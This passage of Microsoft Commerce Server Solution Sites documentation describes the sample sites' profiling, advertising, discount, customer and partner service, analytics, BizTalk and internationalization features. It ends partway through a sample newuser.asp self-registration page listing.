The IsActiveDirectoryPresent and sGetActiveDirectoryDefaultNamingContext functions in this file parse the XML Data Reduced (XDR) schema for the UserObject profile. The IsActiveDirectoryPresent function checks whether the ParentDN property is set on the profile to determine if Active Directory is used to store part of the profile. The Profiling System allows other means to signify that Active Directory is used. If using one of these alternatives, the Solution Sites need to be correspondingly modified. For more information, see "Managing Pre-existing Accounts in Active Directory Stores" in the Commerce Server Resource Kit. If Active Directory is used, the sGetActiveDirectoryDefaultNamingContext function retrieves the Active Directory domain name.

include\global_main_lib.asp

Whether the Profiling System uses Active Directory is given Application scope as a Boolean variable named MSCSProfileServiceUsesActiveDirectory. If the IsActiveDirectoryPresent function returns True, the Active Directory domain name is set to Application scope as MSCSActiveDirectoryDomain.
The Dictionary object containing all the profile properties is given Application scope as MSCSProfileProperties.
The InitProfileService function is called and the returned ProfileService object is given Application scope as MSCSProfileService.

include\std_profile_lib.asp

This file supplies routines to create a new profile, retrieve and update a current profile, check whether the user has a profile, and whether profiling is enabled on the site. This file also provides the Web farm support.

services\include\check_profile.asp

services\include\delete_profiles.asp

services\include\get_profiles.asp

services\include\profiles_common.asp

services\include\save_all_profiles.asp

services\include\save_one_profile.asp

These files provide common routines for use in Customer and Partner Services.

Browse Time

Users have direct interaction with the Profiling System through the following files:

addrbook.asp

This file allows users, depending on the user type and site options, to view and edit their address book (Address profiles).

newaddr.asp

This file allows users, depending on the user type and site options, to add a new address to their address book.

login\_guest.asp

This file allows a user to enter the site as an anonymous user and creates an associated anonymous profile.

login\newuser.asp

This file allows the user to register with the site. If the user has an anonymous profile, it is changed to a registered profile. If the user does not have an anonymous profile, a new registered profile is created.

services\customer\account.asp

This file allows registered users to view and change their own profile through Customer Services.

services\partner\account.asp

Using the Partner Services feature, this file allows users who are delegated administrators for their organization to view and modify the profile of their organization.

services\partner\users.asp

Using the Partner Services feature, this file provides a list of users who are members of an organization. Delegated administrators can select profiles to view, modify, or delete from this list, or create new member profiles.

services\partner\edit_user.asp

Using the Partner Services feature in the Supplier site, this file allows users who are delegated administrators for their organization to manage the profiles of members of their organization.

See Also

About the Address Management Feature for Solution Sites

Page-Level Access Control for Solution Sites

About the Login Feature for Solution Sites

About the User Tracking Feature for Solution Sites

About the Customer Service Feature for Solution Sites

About the Partner Service Feature for the Supplier Solution Site

Profiling System Objects


About the Ads Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The advertising feature displays advertisements to users based on the properties in the user's profile, and the Need of Delivery (NOD) for the advertisement.

Advertisements are placed in the banner slot located along the top of the Web pages. Through Commerce Server Business Desk you can configure the advertisement's properties, schedule, target audience, and display.

Initialization

Initialization for the advertising feature occurs in the following files:

include\global_csf_lib.asp

Initializes the Content Selection Framework (CSF), and creates the global context for CSF advertisements.

include\global_cache_lib.asp

Creates and configures the advertising cache.

include\global_siteconfig_lib.asp

Creates a PageSet of pages on which advertisements can be shown.

Browse Time

The following files display the advertising feature:

template\banner.inc

Called by the file template\layout1.asp or template\no_menu.asp. Checks to see if the current page is in the advertising PageSet, as configured on the global_siteconfig_lib.asp page. If the page is in the advertising PageSet it displays the winning ad.

template\layout1.asp

Provides the HTML display layout for a Web page with a menu, navigation bar, advertising banner, discount banner, and footer.

template\no_menu.asp

Provides a basic HTML display layout for a Web page without a menu, navigation bar, or footer.

See Also

Campaign Caching for Solution Sites

Advertising.PCF

About the Basket Feature for the Solution Sites

Page Layout Customization for Solution Sites


About the Discounts Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The discount feature displays discounts to users based on user profile properties, items that are in the user's basket, the product the user is viewing, or other properties.

There are two types of discount displays—the discount banner display and the discount information in the user's basket.

In the Solution Sites implementation, discount banners are placed on the bottom of a Web page. The discounts can be automatic or click-required. Click-required discounts require that the user click the discount banner to receive the discount. Automatic discounts do not require any user interaction; the discount is automatically applied to the user's basket.

Discount information that you want to include in the user's basket is displayed on the basket.asp page. When the user receives a discount the basket.asp page automatically adds two columns to the basket table. One column lists the discount in a price value; the other column lists any messages associated with the discount.

Initialization

Initialization for the discount feature occurs in the following files:

include\global_csf_lib.asp

Initializes the Content Selection Framework (CSF), and creates the global context for CSF discounts.

include\global_cache_lib.asp

Creates and configures the discount cache.

include\setupenv.asp

This file is used to set up environment variables and retrieve information about the user.

Browse Time

The following files display the discount feature:

template\discount.asp

Selects and renders discount banners.

basket.asp

Includes the template\discount.asp page and calls its RenderDiscounts function, storing the results in the htmDiscountBanner variable. The basket.asp page also displays the price reduction associated with any applied discounts and a discount message.

product.asp

Includes the template\discount.asp page and calls its RenderDiscounts function storing the results in the htmDiscountBanner variable.

redir.asp

Handles click-throughs and other events on marketing campaign items. It invokes a pipeline that records the events in memory and to the Internet Information Services (IIS) log file.

summary.asp

Computes the discounts and displays the adjusted prices in addition to the bill-to address, ship-to address, the basket, and the order total.

template\layout1.asp

Calls the Response.Write function on the htmDiscountBanner variable, which is populated in the Main function on pages that want to display discount banners.

See Also

About the Basket Feature for the Solution Sites

Discounts.PCF

Page Layout Customization for Solution Sites


About Prediction for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The prediction feature recommends products to a user based on items in the user's shopping basket. The Solution Sites use the PredictorClient object to make these recommendations.

Initialization

Initialization for the prediction feature occurs in the following files:

include\global_predictor_lib.asp

The PredictorClient object is created in the InitPredictor function of this file and used to load the Transaction prediction model, which is supplied with Commerce Server, from the Data Warehouse. Two prediction properties, fpPopularityPenalty and fpDefaultConfidence, are set in this file.
In development mode, the bFailOnUnknownInputAttributes property may be set to True by uncommenting a line of code. With this property set, a run time error is generated if any of the input attributes are not recognized.

include\global_main_lib.asp

The InitPredictor function is called from the Main subroutine in this file and the returned PredictorClient object is set to Application scope as MSCSPredictor.

Browse Time

The following file displays the prediction feature:

basket.asp

The RenderBasketPage subroutine is used to call the htmRenderPredictions function which sets up the input case and calls the Predict method of the PredictorClient object to make the recommendations of which products to purchase. The PredictedPropToHREF function is used to create links into the product catalog from the recommended products.

See Also

About the Basket Feature for the Solution Sites

Business Analysis Objects


About the Customer Service Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Customer Service feature is available to all users who have a profile. Initial access to the Customer Service feature is provided in the template\menu.asp file. These appear to the user as links, in the left menu pane, to the two Customer Service features:

  • Customer Profile Feature
  • Customer Orders Feature

See Also

About the Partner Service for Supplier Solution Site


About the Customer Profile Feature

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Customer Profile feature allows users to edit their own profile. When users first enter the Customer Profile feature they are shown their profile data. The fields that are available for them to edit are controlled through Commerce Server Business Desk. When users click the User password Change button they are redirected to the services\change_password.asp page. Most of the fields available to them by default are text boxes that are edited in place. When the user clicks the Save button any changes are saved to their profile.

Initialization

The Customer Profile feature relies heavily on the MSCSProfileService, which is initialized in the include\global_profile_lib.asp file. By default the Retail site stores profile data in the catalog database, and the Supplier site stores profile data in Active Directory.

Initialization for the Customer Profile feature occurs in the following files:

include\std_access_lib.asp

The EnsureAuthAccess function verifies that only authenticated (registered) users are allowed access to this page. Anonymous users are redirected to the login page, login\login.asp.

services\include\initialize.asp

The InitializePartnerDesk subroutine sets the values of three variables — sAction, sSubAction, sProfileIDs — from the URL query string or form post variable. These variables are used to control program flow on the remainder of the page.

Browse Time

The following file displays the Customer Profile service:

services\customer\account.asp

This page ensures that users can only see their own profile before rendering any content. Business logic and rendering are in separate routines to make the code easier to maintain and modify.
The services\customer\account.asp page renders in one of three ways, depending on the value of the sAction variable:
EDIT_ACTION
This is the first time the user views the page. This is also the default action. The PrepareEditAction subroutine handles the business logic and the htmEditAction function renders the page.
CHANGE_ACTION
This action occurs when the user clicks the Change button on the page. The PrepareSaveChangesConfirmation subroutine handles the business logic and the htmChangePasswordActionHandler function creates HTML for the page, which redirects the user to the change password page, services\change_password.asp.
SAVE_ACTION
This action occurs when the user clicks the Save button on the page. The PrepareSaveAction subroutine handles the business logic and the htmSaveActionHandler function renders the page.

See Also

About the Partner Users Feature


About the Customer Orders Feature

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Customer Orders feature allows users to view a list of their orders and to view details of specific orders. When users enter the Customer Orders feature they are shown a list of their existing orders on the services\customer\orders.asp page. When a user selects a particular order and clicks the View Item Details button, the user is shown the order details on the services\customer\view_order.asp page. Clicking the Close button on that page returns the user to the order list page.

Initialization

Initialization for the Customer Orders feature occurs in the following files:

include\std_access_lib.asp

The EnsureAuthAccess function verifies that only authenticated (registered) users are allowed access to this page. Anonymous users are redirected to the login page, login\login.asp.

services\include\initialize.asp

The InitializePartnerDesk subroutine sets the values of three variables — sAction, sSubAction, sProfileIDs — from the URL query string or form post variable. These variables are used to control program flow on the remainder of the page.

Browse Time

The following files display the Customer Orders feature:

services\customer\orders.asp

This page displays a list of the orders for the current user. Business logic and rendering are in separate routines to make the code easier to maintain and modify.
The OrderListActionHandler subroutine prepares the page for rendering. This subroutine sets paging variables on the page in response to the value of the sAction variable, for example NEXTPAGE_ACTION. The htmRenderOrderList function retrieves the list of orders and renders the page.
Selecting an order and clicking the View Item Details button submits a form with the order ID number, which is a globally unique identifier (GUID), to the services\customer\view_order.asp page.

services\customer\view_order.asp

This page displays the order details of the order selected in the orders.asp page. Business logic and rendering are in separate routines to make the code easier to maintain and modify.
The PrepareOrderDetailsAction subroutine gets a count of the number of orders that have been selected. If only one order has been selected the htmOrderDetailsActionHandler function retrieves the order details and renders the page. If more than one order has been selected the user is redirected to the list page.
When the user clicks the Close button the PrepareCloseOrderDetailsAction subroutine determines the source page and the CloseOrderDetailsActionHandler redirects the user back to the list page.

See Also

About the Partner Orders Feature


About the Partner Service Feature for the Supplier Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Partner Service feature is, by default, only activated in the Supplier Solution Site, and is only visible to users who are delegated administrators. Delegated administrators are users with administrative privileges for their organization. Initial access to the Partner Service feature is provided by a link in the template\menu.asp file. The Partner Service section of the menu appears only when the following four conditions are met:

  • The site has the Delegated Administrator feature enabled.
  • The user has a profile.
  • The user is authorized to act as administrator for other users.
  • The user has been assigned an organization.

After the Partner Service section appears in the menu pane, links to the three Partner Service features are provided. These three Partner Service features are:

  • Partner Profile Feature
  • Partner Users Feature
  • Partner Orders Feature

See Also

About the Customer Service Feature for Solution Sites

Profile Definitions


About the Partner Profile Feature

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Partner Profile feature allows delegated administrators to edit the profile for their organization. When delegated administrators first enter the Partner Profile feature they are shown the profile data for their organization. The fields that are available to them are controlled through Commerce Server Business Desk. Each property in the profile has an attribute, sDelegatedAdminAccess. When the value of the sDelegatedAdminAccess attribute is zero (0), for a property it is not displayed. When the value is one (1), the property is displayed as read-only. When the value is two (2), the delegated administrator can change the property.

Some of the properties that the delegated administrator can change are simply edited in a text box on the page; however, properties that contain user names are changed with a picker mechanism. At the end of any field containing a user name is an ellipsis (...) button. When the administrator clicks that button, the administrator is redirected to the services\partner\users.asp page in "picker" mode. When the administrator selects a user from the list the admin is returned to the profile page and the field is filled in with the name of the user.

Initialization

Initialization for the Partner Profile feature occurs in the following files:

include\std_access_lib.asp

The EnsureAuthAccess and CheckPartnerServiceAccess functions verify that only authorized users with delegated administrator privileges are allowed access to this page. Unauthorized users are redirected to an error page.

services\include\initialize.asp

The InitializePartnerDesk subroutine sets the values of three variables; sAction, sSubAction, sProfileIDs, from the URL query string or form post variable.

services\include\lib.asp

The CheckIfProfilesExist subroutine verifies the globally unique identifier ProfileID(s).

Browse Time

The following file displays the Partner Profile feature:

services\partner\account.asp

This page ensures that users can only view the profile for their organization before rendering any content. Business logic and rendering are in separate routines to make the code easier to maintain and modify.
This page renders in one of four ways depending on the value of the sAction variable:
EDIT_ACTION
This is the first time the user views the page. This is also the default action. The PrepareEditAction subroutine handles the business logic and the htmEditAction function renders the page.
SAVE_ACTION
This action occurs when the user saves changes to the account profile.
The business logic is in the htmSaveActionHandler function rather than the PrepareSaveAction subroutine because the preparation varies by the value of the subAction variable. The PrepareSaveAction subroutine remains as a placeholder for any business logic that would apply to all values of the subAction variable. The htmSaveActionHandler function renders the page.
SELECT_ACTION
This action occurs when the delegated administrator selects a property containing a user profile for editing and there are multiple user profiles available. The PrepareSelectActionHandlerForEdit subroutine handles the business logic and the htmSelectActionHandlerForEdit function generates an HTML fragment, which redirects the user to the page services\partner\users.asp.
SELECTED_ACTION
This action occurs after a SELECT_ACTION, when the delegated administrator returns from selecting a user profile from the services\partner\users.asp page. The PrepareSelectedAction subroutine handles the business logic and the htmSelectedActionHandlerForEdit function renders the page.

See Also

About the Customer Profile Feature

About the Partner Users Feature

Using Profiles in Web Site Management


About the Partner Users Feature

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Partner Users feature allows the delegated administrator to add new users, delete users, and edit user profiles for their organization. When delegated administrators first enter the Partner Users feature they are presented with a list of the users in their organization. After the delegated administrator selects a user the delegated administrator is redirected to an edit page where the delegated administrator can change the profile for the user.

Initialization

Initialization for the Partner Users feature occurs in the following files:

include\std_access_lib.asp

The EnsureAuthAccess and CheckPartnerServiceAccess functions verify that only authorized users with administrator privileges are allowed access to this page. Unauthorized users are redirected to an error page.

services\include\initialize.asp

The InitializePartnerDesk subroutine sets the values of three variables; sAction, sSubAction, sProfileIDs, from the URL query string or form post variable.

Browse Time

The following files display the Partner Users feature:

services\partner\users.asp

The page renders in one of two ways depending on the value of the sAction variable. For all valid actions except SELECTED_ACTION, the htmRenderProfilesList function renders the list of users. The SELECTED_ACTION occurs when the user returns from the edit_user.asp page. In this case, the SelectedActionHandlerForList subroutine redirects the user as necessary.

services\partner\edit_user.asp

This page displays an individual user profile. The htmEditPageActionHandlers function selects the appropriate action handler depending on the value of the sAction variable. Some of the cases in this function are intended for editing multiple profiles. The multi-edit feature is not implemented and the cases for it cannot be reached from the Solution Sites user interface.

See Also

About the Customer Profile Feature

Using Profiles in Web Site Management


About the Partner Orders Feature

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Partner Orders feature allows the delegated administrator to view the orders for all the users in their organization. When the delegated administrator first enters the Partner Orders feature the administrator is presented a list of all the orders for their organization. From this list page the administrator can select an individual order and be redirected to a page that displays the order details.

Initialization

Initialization for the Partner Orders feature occurs in the following files:

include\std_access_lib.asp

The EnsureAuthAccess and CheckPartnerServiceAccess functions verify that only authorized users with administrator privileges are allowed access to this page. Unauthorized users are redirected to an error page.

services\include\initialize.asp

The InitializePartnerDesk subroutine sets the values of three variables; sAction, sSubAction, sProfileIDs, from the URL query string or form post variable.

Browse Time

The following files display the Partner Orders feature:

services\partner\orders.asp

This page displays a list of the orders for the organization of the delegated administrator. Business logic and rendering are in separate routines to make the code easier to maintain and modify.
The htmOrderListActionHandler subroutine prepares the page for rendering. This subroutine sets paging variables on the page in response to the value of the sAction variable, for example NEXTPAGE_ACTION. The htmRenderOrderList function retrieves the list of orders and renders the page.
Selecting an order and clicking the View Item Details button submits a form with the order ID number and a globally unique identifier (GUID) to the services\partner\view_order.asp page.

services\partner\view_order.asp

This page displays the order details of the order selected in the orders.asp page. Business logic and rendering are in separate routines to make the code easier to maintain and modify.
The PrepareOrderDetailsAction subroutine gets a count of the number of orders that have been selected. If only one order has been selected the htmOrderDetailsActionHandler function retrieves the order details and renders the page. If more than one order has been selected the user is redirected to the list page.
When the user clicks the Close button, the PrepareCloseOrderDetailsAction subroutine determines the source page and the CloseOrderDetailsActionHandler redirects the user to the source page, if present, or to the corresponding list page.

See Also

About the Customer Orders Feature


About the Analysis Integration Feature for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Commerce events are specially structured entries written by the Solution Sites to the Web server log file under the heading cs-uri-query. The Web server log import Data Transformation Services (DTS) task imports these events into the Data Warehouse for use by Analysis Services. The Solution Sites applications write a log event when a user adds or removes a basket item or submits an order. The format of the logged event is:

   CEVT={T=class,EVT=event,property1,property2,...}

Initialization

The query strings are constructed in the following file:

include\analysis.asp

The Analysis_LogAddToBasket and Analysis_LogRemoveFromBasket subroutines set the class to BSK, the event to AIBSK or RIBSK, respectively, and call the Analysis_ConstructPRID function to construct the item property. The resulting string resembles the following:
   CEVT={T=BSK,EVT=AIBSK,CatalogName;ProductID;VariantID}
The Analysis_LogSubmitOrder subroutine sets the class to ORD, the event to SUBOR, and calls the Analysis_ConstructKeyValueString function to construct the order property. The resulting string resembles the following:
   CEVT={T=ORD,EVT=SUBOR,ORID=OrderID}
The Analysis_LogEvent subroutine performs the actual logging by calling the AppendToLog method of the Active Server Pages (ASP) Response object.

Browse Time

The following files provide logging of the Commerce events:

_additem.asp

When a user adds an item to the basket, the Analysis_LogAddToBasket function is called from this file.

_delitem.asp

When a user removes an item from the basket, the Analysis_LogRemoveFromBasket function is called from this file.

crdtcard.asp

When a user submits an order charged to a credit card, the SaveBasketAsOrder subroutine located in the file include\payment.asp is called by this file. This subroutine, in turn, calls the Analysis_LogSubmitOrder subroutine.

po.asp

When a user submits a purchase order, the SaveBasketAsOrder subroutine located in the file include\payment.asp is called by this file. This subroutine, in turn, calls the Analysis_LogSubmitOrder subroutine.

See Also

About the Basket Feature for Solution Sites

About the Checkout Feature for Solution Sites

About the User Tracking Feature for Solution Sites


About the BizTalk Server Integration Feature

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

BizTalk Server provides a gateway for sending business documents between your company and your trading partners (also known as vendors). For example, if your company uses BizTalk Server, you can trade catalogs, orders, documents, and other electronic forms with your trading partners. BizTalk Server manages the data translation, encryption, digital signatures, and document tracking services for many different transport mechanisms.

BizTalk integration is not enabled in the default configuration of the Solution Sites. To enable BizTalk integration you must change the App Default Config settings for your site.

The App Default Config setting for the BizTalk Options property is set to disable integration with BizTalk Server for exchanging documents. The BizTalk Options property can be changed to facilitate other configurations as shown in the following table.

Selected Property Value | Friendly Name | Description
0 | BIZTALK_PO_XFER_DISABLED | Disables integration with BizTalk Server to exchange documents. This is the default setting for the Solution Sites.
1 | BIZTALK_PO_XFER_ENABLED | Enables integration with BizTalk Server to exchange documents.

Once BizTalk Server is enabled via the BizTalk Options property, the following App Default Config settings should be changed as well. Each of these properties needs to match the respective entry in BizTalk Messaging Manager:

  • The BizTalk Catalog Doc Type property must be set to the document definition name that is required by BizTalk Server for catalogs.
  • The BizTalk PO Doc Type property must be set to the document definition name that is required by BizTalk Server for purchase orders.
  • The BizTalk Source Org Qualifier property must be set to the alias qualifier for the site.
  • The BizTalk Source Org Qualifier Value property must be set to the alias value for the site.
  • The BizTalk Submit type property should not be changed even if BizTalk Server is enabled. The default value is 1.

For more information about changing App Default Config settings, see Configuring the App Default Config Resource.

The recvpo pipeline handles the processing of purchase orders received through BizTalk Server. First, the _recvpo.asp page receives XML documents from BizTalk Server. When an XML document is received by the _recvpo.asp file, the XMLTransforms process is started and converts the XML document back to an order form. Commerce Server then runs the recvpo pipeline on the order form. After the pipeline processes the order form, the order is saved to the Commerce Server database. By using the _recvpo.asp file, you can use Commerce Server objects to redirect the XML to your order management system.

For more information about integrating BizTalk Server, see Integrating with BizTalk Server or "Integrating Commerce Server with BizTalk Server" in the Commerce Server 2000 Resource Kit.

Initialization

include\global_siteconfig_lib.asp

Included in the global.asa file. The dictPipelines datastructure is used to assign friendly names to the file locations.

Browse Time

The following files run the BizTalk Server feature:

_additem.asp

If the App Default Config setting for the BizTalk Options property is set to enable BizTalk Server integration, the ApplyVendorInfo subroutine will return the vendor ID associated with the catalog.

_recvpo.asp

This page receives purchase orders from BizTalk Server.

include\payment.asp

Sets the iBIZTALKOPENNESS variable, which determines where BizTalk Server will find its connection information. Also submits the appropriate OrderForm objects using BizTalk Server.

ReceiveStandard.asp

Sample standard BizTalk Server receive page for purchase orders.


Enabling International Features for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Solution Sites provide the foundation for implementing several features necessary for an international site, multiple languages, dual currency display, and multiple address formats. By default, none of these features are implemented in the Solution Sites. A full implementation of a truly international site is very complex and not suitable for the demonstration purposes of the Solution Sites.

Multiple languages for Solution Sites

Euro dual currency display for Solution Sites

Multiple address formats for Solution Sites

Localized data formats for Solution Sites

Initializing International features for Solution Sites

Multiple languages for Solution Sites

The solution sites are written for single language use. English, French, German and Japanese versions are available. But, they are written to simplify translation and provide the foundation for multiple language support. Most of the strings in the Solution Sites are contained in a single XML file, others, such as Site Terms, shipping method descriptions, and discount descriptions, come from external sources. Translating a site, not counting external strings, to another single language is simply a matter of translating the strings in the rc.xml file and changing the Language attributes in that file to the name of the new language. The first step in supporting multiple languages is also to edit the rc.xml file. Within the file there is a Language node with name and locale attributes for each supported language. An Entry node identifies each string in the application. Each Entry node contains a Value node for each language in the file. The Value nodes are distinguished by their Language attributes. For example:

   <Entry Name="L_Login_HTMLText" Type="General">
      <Value Language="English">Login</Value>

The MessageManager object serves as a repository for the text strings used on the Solution Sites. During application initialization the MessageManager object is loaded with the data in the rc.xml file. Whenever a string is needed in the Solution Sites it is retrieved from the MessageManager object with a call, such as sText = mscsMessageManager.GetMessage("L_FirstName_HTMLText", sLanguage). Throughout the Solution Sites the value of the sLanguage variable, used to determine the language used, is set to the value of the DefaultLanguage attribute in the rc.xml file. This limits the Solution Sites to a single language. In order to support multiple languages you will need to create a mechanism to select the correct value for the sLanguage variable as needed, perhaps based on the lcid.

Euro dual currency display for Solution Sites

The Solution Sites have the ability to enable dual-currency display for Euro-countries. The Commerce Server EuroDisplay object provides the foundation for displaying a price in two currencies simultaneously, for example the French Franc and the Euro. The exchange rate between the primary and secondary currencies is fixed at application initialization and comes from a value in the App Default Config settings. The htmRenderCurrency function renders currency values based on the value of the i_AltCurrencyOptions option in the App Default Config settings. This provides a centralized place for extending the currency display in the Solution Sites.

Multiple address formats for Solution Sites

There are commented examples in the Solution Sites that demonstrate changing the address format based on the default lcid for the site. Search the site for the string $$INTLADDR to find these examples.

Localized data formats for Solution Sites

The Solution Sites provide, through the Commerce Server DataFunction object, the ability to format and parse currencies and numbers in a variety of international formats. You can use this object to perform locale-based formatting, parsing, and value range checking of data on your site.

Initializing International Features for Solution Sites

Initialization for the international features occurs in the following files:

include\header.asp

include\txheader.asp

One or the other of these nearly identical files is included as the header in all of the pages in the Solution Sites applications. The header sets the character set for the page. By default this is set to the s_PageEncodingCharset option from the App Default Config settings.
If you need to explicitly set the server code page, for example you are running a Japanese site on an English server, use the CodePage directive. For more information about using multiple languages in Active Server Pages (ASP), search for "Accommodating International Clients" and "Setting the Code Page for String Conversions" on the Microsoft Developer Network (MSDN) at http://go.microsoft.com/fwlink/?LinkId=5161.

include\global_messagemanager_lib.asp

The Solution Sites use the MessageManager object to provide support for multiple languages. The GetMessageManagerObject function is called from the Main subroutine and the returned MessageManager object is set to Application scope as MSCSMessageManager. The data source for MSCSMessageManager is the rc.xml file.

include\global_internationalization_lib.asp

The InitAltCurrencyDisp function is called from the Main subroutine and the returned EuroDisplay object is set to Application scope as MSCSAltCurrencyDisp. The initialization values for the EuroDisplay object come from the App Default Config Settings.

include\global_data_lib.asp

The InitDataFunctions function is called from the Main subroutine and the returned DataFunctions object is set to Application scope as MSCSDataFunctions. The initialization value, Locale, for the DataFunctions object comes from the App Default Config settings.

See Also

App Default Config Settings for Solution Sites

Code to Manipulate and Display Euro Values

Localizing Web Site Text

DataFunctions Object


Enabling Self-Registration for the Supplier Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Supplier Solution Site, also called the SupplierAD site, provides the foundation for implementing self-registration. By default, self-registration is not enabled for the SupplierAD site. Self-registration is supported only if AuthFilter is enabled for the SupplierAD site. For information about enabling AuthFilter for the SupplierAD site, see Installing the Sample Supplier Site.

important Important

  • Before you make changes to your ASP files, it is recommended that you stop the IIS service for the SupplierAD site and restart the IIS service when all of the changes listed below are completed. Failure to do so can result in unexpected results for users visiting your site.

To enable self-registration on the SupplierAD site, do the following:

  1. Configure the Site Registration Options property
  2. Create the newuser.asp file
  3. Edit the global_siteconfig_lib.asp file
  4. Edit the login.asp file
  5. Restart IIS

Configure the Site Registration Options property

To enable self-registration on the Supplier Solutions Site, you must configure the Site Registration Options property. You use this property to enable site visitors to register at your site. It is used only if you are developing your site based on a Commerce Server Solution Site.

To allow self-registration on the Supplier Solutions site

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Commerce Sites, expand the SupplierAD site, and then expand Site Resources.
  3. In the Site Resources node, click App Default Config.
  4. In the Commerce Server Resource pane, scroll down and right-click Site registration options, and then click Properties.
  5. In the Site registration options Properties property sheet, change the value in the Selected Property Value text box to 1 and then click OK.

You have configured the Supplier Solution Site to allow self -registration. Proceed to Create the newuser.asp file.

Create the newuser.asp file

By default, the newuser.asp file is located in the wwwroot\supplierad\login directory. However, because your site is using AuthFilter, you must create a new newuser.asp file in the wwwroot\supplierad\AuthFiles directory.

Using a text editor such as Notepad, create a file named newuser.asp in the wwwroot\supplierad\AuthFiles directory, containing the following text:

<!-- #INCLUDE FILE="../include/header.asp" -->
<!-- #INCLUDE FILE="../include/const.asp" -->
<!-- #INCLUDE FILE="../include/html_lib.asp" -->
<!-- #INCLUDE FILE="../include/form_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_access_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_cache_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_cookie_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_profile_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_url_lib.asp" -->
<!-- #INCLUDE FILE="../include/std_util_lib.asp" -->
<!-- #INCLUDE FILE="../include/setupenv.asp" -->
<!-- #INCLUDE FILE="../template/no_menu.asp" -->
<%
' ============================================================================
' newuser.asp
' Sign up new user; check username and password for rules.
'
' Commerce Server 2000 Solution Sites 1.0
' -----------------------------------------------------------------------------
'  This file is part of Microsoft Commerce Server 2000
'
'  Copyright (C) 2000 Microsoft Corporation.  All rights reserved.
'
' This source code is intended only as a supplement to Microsoft
' Commerce Server 2000 and/or on-line documentation.  See these other
' materials for detailed information regarding Microsoft code samples.
'
' THIS CODE AND INFORMATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY
' KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
' IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
' PARTICULAR PURPOSE.
' =============================================================================

Sub Main()
   Dim urlAction, dictFldVals, dictFldErrs

   ' Registration page not available under certain situations.
   'If bRegistrationPageNotAvailable() Then
   '   Response.Redirect(GenerateURL(MSCSSitePages.Home, Array(), Array()))
   'End If

   Call PrepareNewUserPage(urlAction, dictFldVals, dictFldErrs)
   htmPageContent = htmRenderNewUserPage(urlAction, dictFldVals, dictFldErrs, sLanguage)
End Sub

' -----------------------------------------------------------------------------
' PrepareNewUserPage
'
' Description:
'   If a form was submitted, validate it and register the user; if invalid,
'   prepare to re-draw the new user form. If no form was submitted,  prepare
'   to draw the new user form.
'
' Parameters: (all parameters are ByRef, thus OUT)
'   urlAction               - Action parameter of New User form
'   dictFldVals               - Dictionary with field values
'   dictFldErrs               - Dictionary with field errors
'
' Notes :
'   none
' -----------------------------------------------------------------------------
Sub PrepareNewUserPage(ByRef urlAction, ByRef dictFldVals, ByRef dictFldErrs)
   Dim listFlds, listFrmErrs
   Dim iErrorLevel, bSuccess, sErr
   Dim sUserID, mscsLoginUser, mscsGuestUser, urlLink, bMustTransferProfile

   ' Initialize variables
   bSuccess = False
   bMustTransferProfile = False
   iErrorLevel = 0

   Set dictFldVals = Nothing
   Set dictFldErrs = Nothing
   Set listFlds = Application("MSCSForms").Value("Registration")

   urlAction = GenerateURL(MSCSSitePages.NewUser, Array(), Array())

   If IsFormSubmitted() Then
      Set dictFldVals = GetSubmittedFieldValues(listFlds)
      iErrorLevel = iValidateSubmittedRegistrationData(listFlds, dictFldVals, dictFldErrs, listFrmErrs)
      ' Validation of submitted data succeeded if no errors
      If iErrorLevel = 0 Then bSuccess = True
   End If

   If bSuccess Then
      If m_UserType = GUEST_USER Then
         Set mscsGuestUser = GetCurrentUserProfile()

         If Not mscsGuestUser Is Nothing Then
            If mscsGuestUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, PROFILE_TYPE)).Value = GUEST_PROFILE Then
               bMustTransferProfile = True
            End If
         End If
      End If

      If bMustTransferProfile Then
         Set mscsLoginUser = mscsTransferGuestUserProfile(dictFldVals.Value(LOGON_NAME), dictFldVals.Value(LOGON_PASSWORD))
      Else
         Set mscsLoginUser = mscsNewRegisteredUserProfile(dictFldVals.Value(LOGON_NAME), dictFldVals.Value(LOGON_PASSWORD))
      End If

      sUserID = mscsLoginUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, USER_ID)).Value

      If Request.Cookies("MSCS2000TestCookie") <> "" Then
         ' If the user agent allows session cookies, issue auth ticket in a session cookie.
         Call mscsAuthMgr.SetAuthTicket(sUserID, WRITE_TICKET_TO_COOKIE, dictConfig.i_FormLoginTimeOut)
         ' Remove the test cookie
         Response.Cookies("MSCS2000TestCookie").Expires = Now - 1
         ' Store the ticket in Cookie.
         m_iTicketLocation = 2
         ' Set the profile ticket to this userid, so that user is used on the next session
         ' and customer visits are tracked correctly.
         ' (we're not concerned about testing permanent cookie support here, because if it isn't enabled, this feature isn't relevant)
         Call mscsAuthMgr.SetProfileTicket(sUserID, WRITE_TICKET_TO_COOKIE)
      Else
         ' If the user agent does not allow session cookies, put the ticket in URL.
         Call mscsAuthMgr.SetAuthTicket(sUserID, WRITE_TICKET_TO_URL, dictConfig.i_FormLoginTimeOut)
